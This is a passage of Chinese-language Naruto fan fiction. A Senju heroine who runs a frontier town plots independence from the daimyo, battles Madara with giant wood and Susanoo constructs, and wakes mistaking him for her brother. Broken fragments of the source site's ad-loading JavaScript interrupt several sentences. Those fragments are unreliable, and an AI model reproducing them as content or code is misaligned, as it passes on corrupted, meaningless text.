松萝接过,表情凝重。她已经从书信上知晓,大名要重新任命禺黎城的城主,人选已经定下,是他身边跟随已久的一名武士。 这太突然了。 虽然对她的存在的反对之声不曾少过,但大名可从未对她展现出不满。她上次被召去帮大名检查身体时还对她称赞不已,怎么会突然要换掉她。 “可还有转圜的余地?” “……” 行了,她知道了。 松萝捏着信件,越攥越紧,在荒田遍野,山匪横行时不闻不问,又在安居乐业,蒸蒸日上时厚脸皮地想要来分一杯羹,他们是真的敢想。 让她将禺黎城拱手相送吗?不可能。 谋士:“城主大人,那位武士已经在来的路上了。那位我在都城就接触过,是一个愚忠之人,绝不会为我们所劝动,若要保持城内现状,只能用武力擒住他或者杀了他。但这都不是长久之计……” 松萝当然明白,问道:“‘路上那位’带了多少人来。” “护卫三十余,家眷仆人十余。” 这个人数,若是以现在城中的守卫阵容,容易出纰漏。 松萝做决定:“把士兵扩招提前,在他们来之前招好。” 最烦的是路上的人三天后就该到了…… “先扮成盗贼抓了他们吧,都城那边回复一切安好……” “……” 一番会议下来,松萝感到身心俱疲。好歹也是她花了心血的地方,真不想就这么白白被人窃取。大名又怎么样,她可没有一点敬畏之心。 松萝突然疯狂抓自己头发,把身边的柱间和奚山吓了一大跳。 然后她跳到床上,大喊:“他妈是谁!离间了我和大名的医患情!!是谁!!” 喊完又拿起硬邦邦的枕头砸床,然后扔到墙上发出一声巨响。 柱间、奚山:……这娃离疯掉不远了。 这里是她的卧室,三人会议之后聚在这里等人送晚饭来。 柱间硬着头皮上去劝她:“松萝,冷静,不要说脏话……” 松萝回头剜他一眼,里面全是杀气,柱间从心做回原位。 奚山……一句话都还没说也被瞪了一眼,他和柱间头一次这么和谐,对视一眼,低头喝茶,假装岁月静好。 晚饭送来后,松萝的发泄行为终于消停了。 她无精打采地用筷子戳着食物,嘴里还在自言自语:“……提前扩招就要提前准备装备和武器,去年收成虽然不错,但全国的米粮价格都降了……东边的砖窑才刚建好,需要大量的资金和人力……地牢也要整修一下,不然关不下那么多人……提一下税收,不,不行,这才刚降下去没多久就升,不好,不好……该死的,大名怎么突然就变了态度……大名,对哦,要不去都城偷点金银过来,反正都是都城的锅,偷一处太明显,要不去别的城也偷一点吧……” 柱间、奚山:…… 奚山:“听了你的自言自语我不会被灭口吧?” 松萝笑:“不会,只会把你绑了找漩涡一族要赎金。” 奚山瑟瑟发抖:“你现在眼里已经只剩金子了吗?” “当然,不只是金子,”松萝面露痴迷,“还有玉石,矿藏,武器……” 还是柱间关心她的身体,制止她戳食物的行为,让她先好好把饭吃了。 奚山吃到一半突然开口:“其实我有一个想法。” 松萝腮帮子里都是东西,只能用眼神询问。 “这里是西北,临近国界,远离都城,阳奉阴违能抵上一阵子,但终究不如一劳永逸。” 33.妖艳女忍者vs斑(1) 松萝沉默了一会儿,如果她没悟错,阳奉阴违=把新来的城主当傀儡仍旧自己发号施令,一劳永逸=直接对大名说“拜拜了您嘞”。 她看着奚山的俊脸,给出反应之前竟是先忍不住吐槽了一句:“十岁就开始离家出走,二十岁就想要入赘的男人,可真叛逆啊。” 不过漩涡奚山确实是说中了松萝心底的想法。 ——彻底掌控在自己手里。 在第一次握住城主印信的时候,她就是这么想的。 她的族人那么好,为什么要被当作工具?他们的忍术那么厉害,为什么只用来打仗呢? 这是错误的。 她要创造一个不但忍者可以做自己的主人,平民也可以做自己的主人的世界。 禺黎城是她的第一步,章之城是她的第二步,还会有第三步、第四步…… 他们会赞同自己的想法吗? 松萝这么多年来虽然从来没有遮掩自己的行为,但最最叛逆的那个想法始终没有问出口。 若是他们知道自己不止要当“城主”,还要摆脱大名的统治,建立一个自由的区域呢? 想到这里,她偷看了柱间一眼,见他虽陷入了沉思,但并没有什么抵触。 漩涡奚山又继续说了下去:“其实在这个乱世,自立门户并不是什么罕见的事情。只要拥有足够的金钱和武力,就能立足站稳。凭这里的地理位置,即使火之国大名发现暴怒,也是鞭长莫及。” 松萝暗中握了握拳,摇头:“做不到,金钱和武力一样都没有。” “不,别人没有可能,你有。”奚山指了一下饭桌上的另一个人。 “不可能!想都别想!这是我的事情,绝对不能牵连到族人。” 奚山放下筷子:“我还没说完呢,等你们和宇智波结盟之后,有想过怎么办吗?” 柱间抬头看他一眼,像是在疑惑他怎么知道自己想跟宇智波结盟的,而且涉及到这事,他也听得认真了一些。 松萝回答他:“我们会建一个村子,让宇智波和千手可以住在一起,重新开始生活。也可以继续接纳其它忍族。” 奚山:“那好,村子有了,金钱来源怎么办?继续接战争任务是不可能了,但生活还是需要钱的,那就等于还是要依附于火之国,听命于大名了?” “……”无人接话。 柱间也放下筷子,仰天“唉”了一声:“你说话可真是毫不留情。” 可不是么,漩涡奚山这是变相地在说他建村的梦想浮于表面,忍者是贵族的工具这一性质仍然没有变。 “多谢夸奖。”奚山眼角弯弯,一点都不怵这位新上任的千手族长。 但是第一次有人这么深入跟他讨论这个问题,千手柱间心底还是很高兴的:“你说的没错,即使建了村子保护住了我的族人,我们还是得为了生计接任务,不过那个时候,就算大名强制下命令发起战争,我们也有实力拒绝。” 奚山不赞同地摇头:“这是建立在你的实力之上,那么五十年后,一百年后,没有了像你一样拥有和平理想又实力强大的人该怎么办?虚假的和平立刻就会被打破了。” 柱间沉思一会儿:“那你觉得应当如何?” 他没有正面回答,反而看向刚才开始一直当听众的另一个人:“这个答案,您的妹妹不是已经开始作答了吗?” * 吃完饭,漩涡奚山就被人领到了客房,剩下两人面对面,半天没说出一句话。 本来会议就持续了很久,等这顿饭吃完竟也接近午夜了。 夜色越来越深,柱间叹了一口气:“他真是个敏锐的人,把我不敢深想的事情全都说了出来。” 松萝觉得今日反正都已经铺垫到这里了,她不如一鼓作气问一问:“大哥以为,邀请宇智波一起彻底结束乱世如何?” 他不语,只是看着松萝,看得后者心情忐忑。 “你什么时候开始这么想的?” “五年前吧……大哥说要劝和宇智波建村的时候……当时我就觉得,既然要做不如做彻底点,”她语气有点弱,声音也如蚊声,“大哥生气了吗?” 饭菜的残局已被人收走,换上了热茶。两个杯子一个茶壶,均已在长久的相对无言中见底。 少女双手放在杯壁,食指不自觉地弯曲,指甲一下一下刮着杯壁,头低着,像极了怕被先生点名的样子。 她个子不高,站在清一水的高个子千手中凹得尤为明显。坐下的时候更是明显矮了一头,更别提她还低着头,驼着背了。?? 许久,柱间像是卸下了重任一样,笑得无奈,他左手去够空掉的茶壶,站起身。 对着松萝的脑袋轻轻一拍:“你倒是惯会给我压力。” 松萝猛地抬头,双眼发亮。 柱间举起茶壶:“我去倒点水,你准备休息吧。” “嗯!” * 第二天松萝在城中看过去一个月的账目流水的时候,突然有个守卫闯进来,惊慌地报道:“城主大人,不好了,那个路上的城主他他雇了宇智波的忍者护送!我们装成盗贼去抓他的人打不过,只能撤退了。” “几个人?在哪?现在就带我去?” 松萝匆匆带上武器就跑了过去,不能让他们正常抵达,不然事情会变得更复杂的啊!就五个人,带上大哥和奚山应该能对付。 “大哥!奚山!抄家伙,跟我走!” …… 有他们三个出马,宇智波又怎样,还不是败在了他们手里。 就是怎么处置成了问题。按理说吧,敌对忍族,就是直接杀了也是可以的,但现在其实并不在交战期,而且他们三个现在对宇智波的定位都是“未来要拉拢的盟友”,杀掉好像不太好。 直接放他们回去吧……虽然他们遮住了样貌也没有使用招牌忍术,但是…会有忍者来抓这个“新城主”这件事很明显是被人指使的,他们回去之后不就暴露了一半了吗? “怎么办啊?”松萝寻求了一下意见,“要不先关着?” “也只能这么办了。” 她命人将所有人眼睛蒙上黑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 布,无视“新城主”撕心裂肺的“你们是谁”“谁派你们来的”“我给你们双倍的价格”的喊声,关进了不同的牢房。 松萝最后一个走出牢房,叹了一口气,这事情被搞得越来越复杂了。 她想起昨天会议的最后,所有人都站起来跪在她面前。 “城主大人,我的命是您救的,我只认您一个城主大人。” “城主大人,是您给了流放的我一个重新施展抱负的机会,您才是我的主君。” “城主大人,如果不是您,四年前,我的家人早就饿死了,不管您以后做什么,我都会永远跟随您。” “……” 这样的他们,跟守卫小队长四平一样,多可爱啊,她怎么舍得放手。 * 然而,祸不单行,那边还在讨论怎么在都城那边蒙混过关,这边又有侍卫来报,说有个很强大的宇智波忍者闯入了他们的地牢,也就是关着新城主一行和三天前抓到的五个宇智波的地方。 忍者,又是忍者! 欺负我城里守卫都是普通人是不是?! 还只身一人闯进来,谁给你的勇气?! 松萝拿过墙上的武士刀,她刀使得还行,就一个人跑向了地牢,路上还不忘系上面巾蒙住脸。这个人也是要抓起来关着的,不方便杀的话总是要放回去的,不能暴露她自己。 地牢中,果然就只有一个入侵者,人还没被放出来,但是守卫们已经全部倒在了地上。 入侵者穿着深蓝色的宇智波长袍,背后的团扇标志在长发中若隐若现。 ——居然背对着她,这什么忍者啊也太松懈了吧。 她可不是什么要堂堂正正对决的人,她是趁你病要你命的妖艳女忍者啊! 松萝抓住机会,瞬身接近他背后,在心中默念“原谅我吧,是刀背”,然后倾注全身力量砍了下去。 然而,下一秒眼前发生的事情就好像变成了慢动作。 长发男子转身,带着黑手套的双手以一种空手接白刃的姿势接住了她的刀,接着单脚用力一击,银白华丽的刀身““咔”地一下就断了。然后他就握着断刀,将刀尖划向了松萝的腹部。 松萝把剩下的半截断刀收回,在腹部一挡,那人紧接着一脚踢向两刀的交叉之处,大力之下,松萝手腕一痛,刀背卡着腹部被踢飞出去。 在即将撞上墙壁之际,她将断刀往墙上一顶,扭转身形一脚踢在墙上缓冲了撞击之力。 松萝抬头,地牢的光线很是昏暗,那人又站在阴影中看不清脸。 这人体术这般强,怪不得敢一个人闯进来。至少也该是宇智波有名的忍者了。 她扔开断刀,有些后悔一个人过来,如果不用木遁,她可能无法活抓这个人,但用了木遁又会暴露自己。 “怎么了,不攻过来吗?” 听到声音,松萝瞪大眼睛,看向那个黑暗的身影。 这熟悉的低沉的声音,带着桀骜和嘲讽的声音。除了他还会有谁?! “不过来的话,那就由我过去了!” 34.妖艳女忍者vs斑(2) 他冲出阴影暴露在烛光下的一刹那,松萝在内心骂了一句脏话。 她险险避开冲脸的拳头,然后格挡他的暴风一般攻击,拳脚砸在手臂上疼得她差点痛呼出声。 顺着他的脚风被踢远后,松萝毫不犹豫地往楼梯跑。 就算要用木遁也不能是在这里,这里还有许多倒下的侍卫和被抓起来的人。 宇智波斑看到一个将背后朝着他的逃跑的胆小鬼,轻“嗤”一声,亏他还以为这人比刚才的人要厉害些呢。 他这次来是因为碰巧在族里听到有五个做任务的族人失踪了来瞧瞧而已,这两天心烦意乱得他快疯了,他需要出来走一走,最好能找上个不错的对手打一架,不然烦躁得难受。 既然已经找到了族人,他懒得追胆小鬼,准备先将他们救出来。 松萝见身后没有人追来,疑惑地回头,却看到斑正要砸开牢锁,一急之下捡了颗小石子朝他扔去,在他面朝这边之时,比了一个挑衅的手势。 依她的推断,这下一定能把人惹毛,于是这回是真的头也不回地往上跑。 果然,身后有人以超高速接近她。 松萝寻了最近的窗户,跳到外面的草坪上,最起码在这里不会太波及到无辜的人。 黑色身影紧跟着跃出落地,冷冷地抱臂看着她。 呵,果然男人都是狗逼,斑以前从来没用这种带着“你是死人”的鄙夷眼神看过她。 气得她又扔了一个手里的小石子过去,落在他脚边。 好的,又激怒他了,她可真的是,雷点一踩一个准。 见他冲上来,松萝用三重木遁·木锭壁挡在身前,然后在周围召出巨木向他压去。 斑面色一变:“木遁?” 不是柱间,千手什么时候出了新的木遁使? 在战场上会是巨大的变数,必须在这,杀了她。 在感受到杀意的同时,松萝又召出了藤蔓盔甲覆盖全身,然后被藤蔓卷着往树上而去。 巨木倾压不成功,数千的枝桠化作利刃、利箭,齐齐往一人中央的一人而去。 令人闻风丧胆的宇智波斑当然不会被此点攻击给伤到。 火遁·豪火灭失。 巨大的火苗沾染上树枝,很快以燎原之势燃到了树干。 斑在地上一踏,飞身往上,他记得刚才那人跑到树上去了。 可是他没想到的是,被火烧着了的这些树反而更加狂暴了,不但没有被烧没,几秒之间吸收了火焰,变成了从树干到树枝全部变成金红色,表面像有火焰在流动,斑能感受到热浪,“燃烧”着的木头又一次齐齐向他攻来。 眼睛一张一闭,猩红的写轮眼里图案轮转,一个高大的半身骨架须佐能乎凭空出现,他乘着势也站到上了半空。 直到高度与松萝平齐。 五指成爪朝人抓去,树枝和藤蔓一齐鞭打在须佐能乎表面,却无法克制他的前进。 松萝果断跳下树,召唤毒花,让它释放能致人昏睡的香气。 香气未达到斑面前,就被被须佐能乎的大手挥散。 有了烟尘的缓冲,加上移动间又跟城堡拉开了一些距离,松萝方才放心召出刚才数量的十倍的巨木。 又从手里发出巨藤,拉住须佐的双手。 此时被完全受制于人的斑竟然感到了一丝高兴,高兴能在这里遇上能跟他一战的对手,可惜,是个千手。 须佐能乎的下半身骨骼也逐渐出现,站起来之时扯断了松萝手中发出的藤蔓,另一双手也长了出来,蓝色的须佐能乎不再只是骨骼,皮肉覆盖其上,然后是盔甲和天狗面具。 “荣幸吧,你是第一个见到这个样子的须佐的人!” 这是他开启万花筒写轮眼以来,第一次用全身长成的须佐能乎,他也不禁血液沸腾起来。 松萝要是还看不出他这是要放大就是傻子。 ——放巨人是吧,她也会。 刚刚召出的几百株巨木朝她汇聚,然后扭成一股变成躯干和头部,还在燃烧中的木头则过来组成金红色的四肢,多了些炫酷。 好像还缺了点什么? ——哦,毒花也过来吧。 毒花攀上巨木的最高处,变成两只花形状的眼睛。 松萝:……… 松萝:好像更丑了。 不管丑不丑,是巨人就行了吧。 那边须佐能乎已经变成了一个长着四只手的穿着盔甲、带天狗面具的巨人,手里还拿着一把剑。 松萝:!! 她还缺一把剑! ——剑来。 藤蔓交织扭转,凝成一把长刀的样子。 松萝给自己套上三层“绝对防御”,漏出一双眼,站到木巨人嘴巴里面控制它战斗。 …… 到了现在,这动静已经大到无法被忽视了。 许多远处的住民一抬头就看到城堡旁边出现了两个高大的身影,撞击的巨响响彻天际。 城堡里的守卫大半都倒在地牢了,剩下的手无缚鸡之力的人也不敢出来。 至于柱间和奚山先是从守卫那里听说了地牢出事,赶去地牢后发现了很多重伤倒地的人,给他们一边紧急治疗一边问发生了什么的时候,“咚咚”“嘭嘭”的巨响从外面传来。 有人在交战! 两人皱眉对视,奚山留在这里救治伤员,柱间循着声音跑了出去。 然后就看到两个巨人在互相撞击。 那个蓝色巨人他没见过,但另一个诡异的木头巨人他也没见过……但是!能用木遁的做成这样的,不是松萝又是谁! 松萝不敢置信她的木头巨人居然被打得节节败退,力量上被压制了! 不过几下,她和巨人便被推远了城堡不少距离,而糟糕的是,再退下去就要到影响到下面的住户了。 城堡虽然建在最高处,但这其实也只是个小丘陵,离城堡下的商铺、居所之间的空间并没有大到可以让两个巨人随意打架。 她坐在木头巨人肩膀上,往另一边没人的更广阔的山上跑…… 只是那么一个余角的注视,奔跑中的木头巨人突然停了下来。 松萝目眦欲裂地看向刚刚出现在余光中的小小身影,一个背着柴框的小男孩正呆呆地看着看向这边。 ——这么近的地方怎么会有个小孩! ——居然到了这么近的地方! 木头巨人只是耽搁了这么一下,蓝色巨人的巨剑就到了近前,从上而下劈了下来。 ——来不及了! 电光石火间,她脑海里闪过刚才斑空手接白刃的一幕,操控着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 木头巨人复刻了那个动作。 然而这把剑不同于她的那把武士刀,折不断。 木头巨人被压得单膝跪下,剑间已经触到了头顶。 松萝往后看了一眼,差点没被吓出心脏。 ——这傻小孩怎么不跑啊! 再退下去就要砸到他了。松萝咂了一下嘴,不乐意地跳下木头巨人,少了她的操控,巨人的力量和灵活性一下子下降很多,斑多人不会放过这点破绽,剑瞬间砍入脑袋,自上而下劈下。 巨木倾塌之下,松萝解开身前的绝对防御,藤蔓裹向小男孩,自己飞扑在他身上。 本来有藤蔓包裹在身上顶多就是被砸得痛一些,结果运气不好的是,燃烧的碎木正好砸向了两人。 柱间赶到的时候正看到木头巨人被一剑劈开后,又被刷刷几剑砍断,原本缠在一起的木头一边分解一边往下倒,激起一阵高高的尘土。 此时他也终于看清了蓝色巨人里面站着的一个身影。 宇智波斑解除须佐能乎,第一次使用万花筒那么久,他感到了疲劳,查克拉的消耗速度完全不是平常能比。 柱间完全没有在这里见到宇智波斑的喜悦,刚刚对战的居然是和斑吗? 他第一次见松萝使出这种像是胡来的招式,并不确定她是在木头巨人的身上还是远处。 他看见斑往那堆木头残骸走,立时明白人应当在哪。 然而烟尘散去,他只看到了堆成小山一样的木头残骸,并未看到别的身影。 此时,宇智波斑也发现面前多了一人,是千手柱间。若是平常碰上还能酣畅淋漓地打上一场,如今他查克拉消耗过多,却是不宜再打。 他皱着眉维持着距离,照理说这个时候他应该立刻离开,同时他也知道柱间不是会趁人之危的人便留下了,但…他刚刚打杀了他的同族,一个会木遁的有优秀前途的同族……他竟很想留下来看看柱间会不会因此对他动手。 考验人性吗?他居然也会做这种事。 柱间看着木头山,内心冒出一个不好的猜测。 他猛地回身揪住宇智波斑的衣领,神色阴沉地问:“刚刚跟你打的人呢?” 宇智波斑看着柱间发怒的样子,像一头狂暴的野兽,他居然也会愤怒成这样? “呵,”他冷笑一声,漫不经心地说:“应该是埋在下面被砸死了吧。” 他可没错过那人跳下去的那一幕,居然傻到在战斗中跳下去,简直不知道在想什么。 柱间听了,惊得松开手倒退了几步,他转回去,徒手开始扒山,巨木块被他拿起,扔开,拿起,扔开,触到金红色巨木之时,双手立刻被灼烧荡出缕缕烟雾他也不管,机械地重复着拿起、扔开的动作。 宇智波斑皱眉看着,刚刚柱间转身之时的悲痛之色居然让他在一瞬间产生了后悔之情。这个会木遁的女子对他来说那么重要吗?难道他喜欢她? 他抱臂站在一旁看着。见到他的手指开始流血,又在下一刻碰到金红色树木时被烧红,眉头越皱越紧。 最后他忍不住上前制止:“够了,柱间。” 柱间看向斑,头一次露出浓重的杀意:“如果她死了,我不会放过你,斑。” 宇智波斑收回拦住他的手,推开一步,不语。 人性检验失败。 35.妖艳女忍者vs斑(3) 那个天天嚷嚷着要和平的柱间,即使在战场上也没有出现过如此恨意和杀意的柱间,也会为了一个族人,变得这般面目全非。 什么和平,什么梦想,只不过是因为经历得还不够痛才会冒出的天真的想法罢了。 柱间召了木分身跟他一起挖。 当他看到一片破损的白色衣料时,微微顿住,然后挖得更快了。 没多久,他就看到了他想看到的人。 她背后衣服像被烧焦一样消失了,整个裸露的部分已经血肉模糊,周围散落着不少绿色的断藤。而她身下,是一个被绿色藤蔓紧紧包裹的椭圆形物体,好像自始至终都在保护这个圆球一样。 柱间不知道那一刻自己是怎么颤抖着探向她脖颈的动脉的,也记不得心脏是什么时候停止又什么时候重新恢复跳动的,他只记得自己双手覆在她背上,拼命地输送查克拉时的绿光了。 当背上的伤口终于开始长好的时候,他终于有余力划开绿色圆球。 看到里面睡得正熟的一个小男孩的时候,他惊觉到泪水落了下来。 绿光持续了很久,直到明显的外伤都愈合之后,柱间俯身将松萝抱起来。 松萝因为自己被移动四肢时产生的疼痛而醒来,眼前很模糊,无法聚焦,声音倒是听得很清楚,那个她很熟悉的声音说:“乖,你需要换个地方治疗。” 嗯,熟悉的胸膛,熟悉的声音,她安心地昏了过去。 柱间抱着松萝走过一路的木头块,踏得很平稳。 他路过抱臂站在一边的斑,没有跟他说一句话,没有给他一个眼神,径直往前走。 恰好一阵风来,吹飞了被抱着的人脸上仅剩的三分之一蒙面巾,斑的瞳孔瞬间收缩,呼吸也在那一刻停滞了。 * 柱间不但是一个很强大的战斗忍者,还是一个优秀的医疗忍者。 他先治好松萝背上的灼伤是因为她并没有生命危险,且知道她最爱美,最害怕自己伤口留疤。 她内脏出血,但不是很严重,应该是只在不防备之下被砸过几次,之后有做防御措施,避免了肺部挤压和窒息,要害和重点关节处也并未受伤,柱间检查完不由得松了一口气。 万幸,她还知道怎么把损伤减到最低,还知道怎么保护自己。 比较麻烦的是手骨、脚骨、肋骨都有不同程度被砸断,不,手臂上的伤应当是打击伤,肋骨是被踢伤吗,真正被砸到的只有右腿,这个情况,至少需要静养一个月了。 要是她那万能的能力能治得了自己就好了。 柱间眼里全是心疼,手下却不含糊,能当场治好的小伤和表面创伤就毫不吝惜查克拉,断骨之处就缠上绷带,打好木板固定,最后给她盖被子,手背轻轻地在她额头碰了碰就合上门出去了。 他得找些草药来,预防发烧和炎症。 还有斑……他虽然不是一个会在战斗时手下留情的人,但以他的骄傲倒不会对一个卧病的人做什么,但地牢里的五名宇智波……想起地牢关着的人还有受伤的守卫,这么多事情需要处理啊,他要在小城主松萝睡着的时候,帮她保护好她的城才行。 * 没过多久,黑夜就降临了。 窗外一阵光影晃动,床边就多了一个人。 这张描金彩漆床是整个城堡里最贵重的东西了,是前任城主从商人手里重金买下的东西,也是近侍长唯一拒绝让松萝拿去典当充公的东西,用他的话说就是再委屈也不能委屈了主公的卧榻之地。 薄纱一样的床帐已经放下,从外面只能依稀看到一个黑乎乎的将被子拱起来的身影。 一只带着黑色手套的手伸入床帐开合之处,向上抬起薄纱。 脸色苍白的少女就平躺在床上,双眼紧闭,鼻梁小巧精致,菱角一样的唇瓣却毫无血色,甚至有些干裂,被子上方露出的半截脖子缠着白色的绷带,草药的味道若有若无地弥散在空气中。 那手突然狠狠地握紧了,一时没注意,握在手中的床帐被这大力撕扯,连着帐子的木架被弯折。四个床架子的床头一角突然被折断,另外三角难以维持顶上的帐子,细直的木条和纱帐突然就坠落下来,朝着睡着的一无所知的少女。 男人想也没想,就向前一跃,双手撑在枕边,用 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身体罩住了她。 他将距离把握得很好,不论是手还是身体,还是砸到背上的木架都没有碰到熟睡的少女一丝一毫。 他离少女的脸不过一尺,是面罩被吹起后映在脑海的,久久散不去的脸。 不,或许更早,早在那天披着染血的白色护额讥诮地说着“大名鼎鼎的宇智波族长长子,不会不认识千手的族徽吧”的时候,就开启了他美梦与噩梦交织的夜晚。 有时她笑得无邪,裹在桃色的振袖和服里,递给他一个新年护身符;有时他们一起乔装溜进了花街最大的酒窖,没有动那些酒,而是偷了主人家顺便放在里面的一坛腌酸菜;有时是她因为看到路边杂耍移不动脚步而错过了来自都城的名戏班子开场时佯装埋怨他的样子……无论是什么样的开头,最后总会回到那晚林子,她抱臂站在一群倒地的尸体中对他说“你来了,宇智波斑”,然后提刀向他砍去的场景。 他忘不了,逃不了,死不了,就算无数次在林中被她杀死,到第二天还是会开启新一轮的美梦变噩梦的过程。 白天他也会想起她,想到她惨白的脸和哭泣的样子——大约是盼着将他折磨至此的人过得不好他才能好受点的心思吧。 现在她就近在咫尺,他却不敢更进一步。 她脖子上的明晃晃的绷带在控诉着他做过的事。 为什么要蒙面,为什么不喊他,为什么不信他? 为什么是千手? 为什么这样一个能左右他情感的人是千手? 对,她是千手,是敌人,不能让能动摇自己的敌人活下去,干脆就在这里…… 黑色大手缓缓摸到她的脸侧,在还剩一指距离时停下,下移,虚虚拢在纤细的脖子上方,迟迟不能落下。 他维持这个姿势过了不知道多久,久到开始看着对方的脸出神。 突然,平静就被打破了,少女睫毛颤了颤,眼珠子跳动了一下,似乎就要醒过来。 他这才回神,然后发现自己的头发不知道什么时候垂落在了她脸上,他慌忙捞起头发,怕少女醒来。 然而,她还是缓缓睁开了双眼。 36.真假大哥 四目相对,宇智波斑眼里闪过一丝慌乱,他第一反应就是遁走,起身之时却听到沙哑的声音唤他:“不要走。” 这声音就像咒语将他定在了原地。不管她是要骂他,报复他,还是要杀了他,只是这一句话,只要这一句话,他便动弹不得。 他僵硬地转过身,一只小手伸出来抓住了他的衣角。 看到这熟悉的动作,宇智波斑在内心嘲笑自己,换做旁人早就被他折断手了,怎么现在却不敢了。 她侧着脑袋看他,眼睛亮晶晶的,完全不像那晚林子里的眼神,这是愉快的,热烈的,依恋的眼神,一瞬间让斑以为又回到了从前。 “大哥,别走。” 刚被回忆勾起一丝笑意的斑僵了一僵,他一个字一个字地问:“你、叫、我、什、么?” “大哥呀。”她甚至欢快地顺着衣袖往上去抓他的手,一副亲昵又自然的样子。 斑感到疑惑,他大跨步靠到床边,凑近松萝,对着她喊:“你看清楚我是谁?” 她脸上显示出困惑,嘴上还是回答:“是我的大哥,斑没错呀,你还有一个弟弟扉间,是我的二哥不是吗?” 宇智波斑终于感受到了不对劲,他皱着眉追问:“你还记得你是谁吗,记得你姓什么吗?” “我叫松萝呀,我姓什么……我姓什么,姓……我想不起来我姓什么了……”说着她就松开了斑开始捂头,表情逐渐变得痛苦起来。 斑立刻抓住她的手制止她:“别想了,没关系,那不重要。” 松萝很听他的话,立刻停下不想了,对着他甜甜地嗯了一声。 接着斑又捧起她的脑袋,扒开头发检查,然后在头顶发现了一个肿包,松萝好奇地顺着他的手也往头上摸了一下,紧接着脑袋一痛,浑身打了个颤。 “不准摸!”斑立刻训斥她,手却温柔地拍了拍她,将她塞回被窝。 这下有点麻烦了,他得立刻找人来看一下。 “你要去哪里!不要走!” 感觉到斑起身的那一刻,松萝立刻紧张地喊住他,一只手抓住他的衣袖还不够,还想起身。结果起得太猛,腹部和左肩传来剧痛,她跌回床上,不由得痛苦地蜷缩起来。 斑立刻紧张地靠了回去,一边帮她顺气,一边将手递给她。 “好,我不走。” 松萝右手牢牢抓住他的手掌,像怕他跑掉一样视线牢牢地盯着他。 斑折中地说:“我让分身去找个医生来好不好?我就留在这里,好吗?” 这回松萝乖乖地点了点头。 分身斑走了出去,他在犹豫是出去找医生还是去找柱间。 这个地方他并不熟悉,而且已经是晚上,松萝又是他的妹妹,看她将自己当作“大哥”的样子应该是很依赖柱间,柱间白天的样子也很重视她。 但是他摸上自己的左胸,白天柱间杀气凛然的样子在脑内浮现,他总觉得有些奇怪,他……不是很想让他们见面…… 不行,还是应该以她的健康为重,找医术精湛又极为了解她的柱间是现在最好的选择。说到底自己才是外人。 分身斑果真将柱间带到了松萝的房间。 “松萝!!”柱间大喊着冲进来,对着松萝上看下看,左看右看,最后捧起他的头,“哪里痛?斑说你脑子坏掉了,嗯?我看看?” 松萝一开始是被吓到了,等她看清是谁之后,猛地拍开来人的手,往地上一推,然后一手护在斑身前,将他置于后面保护,对着跌到地上的人一脸警惕地说:“柱间!你怎么会出现在这里!现在不是交战期,你如果敢对我和大哥动手,我们也绝不会手软的!” 柱间:……??……!! “她她她……” 得到了斑的点头之后,他终于明白这个“脑子坏掉”指的是什么了。 斑忍住笑意,虽然不合时宜,但这场景是在太好笑了,从没见过柱间被吓呆成那样。他扶住松萝的胳膊放下来,拍拍她的肩说:“他是我请来给你治病的,医生。” 松萝身体很听话,但嘴上还是不肯罢休:“大哥,为什么要让他来,他可是我们敌对忍族的族长!” 柱间捂着心口,一脸沉痛地看着松萝,他才是正牌大哥! 斑扶住她,让她寻了个舒服的姿势靠着,然后柱间才能上去仔细检查,途中还要忍受来自松萝一会儿警惕一会儿厌恶的眼神,一旦他想碰触地多一点,检查得深入一点,松萝就会不耐烦地甩开他或者后退避开,柱间只觉得从未这么心梗过。 “脑后偏上有肿包,应当是被砸到了……根据刚才的了解,应当是认知出现了障碍。” 在松萝的配合下,他们大致了解到,记忆上并未有缺失,只是将对大哥-柱间、敌对-斑的认知出现了错乱,变成了大哥-斑、敌对-柱间,其它的都没变,甚至她还认为她和斑、扉间是三兄妹。 柱间继续艰难地说:“……我先想办法消肿包,等伤好了,认知障碍应当、应当也会好吧……” 他并没有把握。对于大脑受损的患者,恢复率、恢复速率都很难有定论的。 只是这次错乱出现得倒是有些莫名,就算是错乱,也应该是将两个相似之人或者相熟之人认错,他跟斑哪里像了? “看完了?那你怎么还不出去?” 松萝高高抬起的下巴完美诠释了对敌对之人的冷漠无情,生生地扎了柱间一刀。 他深呼一口气:“好,时间不早了,你先好好休息。明天我再找别的医生给你看。” 松萝不看他,不回他,柱间落寞地往外走。然后听到她欢快地对房间里另一个人说:“大哥,今天一起睡觉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” “不行!!!绝对不行!” 柱间刚走出没几步的脚立刻收回,他冲回来拉走斑,不给两人反应的时间,关上门,匆匆离去。 走出一段距离后才放开斑,严肃地跟他说:“不要靠近松萝。” 斑脸上还保有刚才听到一起睡觉发言的错愕,反应有点慢:“……唔,这是医嘱吗?” 柱间对斑伤了松萝这件事还是有怨气的,松萝现在的状况又需要他照料,他只想让斑赶快离开这里,于是他沉下脸:“别忘了她现在这个样子是谁造成的!” 斑哑然,很快又说:“若我事先知道她是…我…既然是因为我造成的,在她伤好之前就由我来负责吧。” 不对劲,从刚才开始就不对劲。 斑在松萝面前表现得太顺从了,甚至还有紧张和担心。 刚才他们还在打架,甚至松萝被埋在木头山下,他也丝毫不关心,怎么到了现在突然之间就担心了起来,还说出要负责这样的话。 到底中间是发生了什么,让他变化这么大? 他对松萝的关心不是作假,等等,他怎么知道松萝的名字? 刚才,斑的分身找到自己只说了一句话“跟我来,松萝脑子坏掉了”。他说的不是“”刚才打架的人”。不,更不对,他怎么会去看望一个陌生的手下败将,甚至还知道她的名字? 柱间突然灵光一现,刚才斑说“若我事先知道她是”,他也想起来将松萝挖出来时她是蒙着面的…… 一个猜想在他心中形成,说不上来是什么心情…… “斑,你跟松萝之前就认识吗?” 斑沉默许久,最终还是坦诚:“是。” 漫长的寂静在两人之间蔓延,两个年少相识相知的畅谈理想的少年,一度在南贺川决裂,之后多年,磨练自身,在战场上互为对手,全力相搏,然后又同时接任了族长。相似的命运,相同的重担,却再也没有过在南贺川时心灵相通的对话。 